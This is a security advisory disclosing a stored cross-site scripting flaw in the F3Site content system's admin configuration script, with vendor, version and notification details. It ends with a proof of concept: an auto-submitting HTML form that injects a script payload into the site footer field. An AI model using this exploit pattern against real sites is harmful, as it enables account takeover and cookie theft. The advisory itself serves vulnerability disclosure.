XSS vulnerability in F3Site

Vulnerability ID: HTB22756
Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_f3site_1.html
Product: F3Site
Vendor: COMPMaster ( http://dhost.info/compmaster/ )
Vulnerable Version: 2011 alfa 1 and probably prior versions
Vendor Notification: 21 December 2010
Vulnerability Type: Stored XSS (Cross Site Scripting)
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response
Risk level: Medium
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)

Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.

The vulnerability exists due to failure in the "admin/configMain.php" script to properly sanitize user-supplied input in "footer" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

An attacker can use browser to exploit this vulnerability. The following PoC is available:

<form action="http://host/admin/configMain&quot; method="post" name="main">
<input type="hidden" name="lang" value="en">
<input type="hidden" name="skin" value="system">
<input type="hidden" name="title" value="Website title">
<input type="hidden" name="footer" value='text"><script>alert(document.cookie)</script>'>
<input type="hidden" name="metaDesc" value="">
</form>
<script>
document.main.submit();
</script>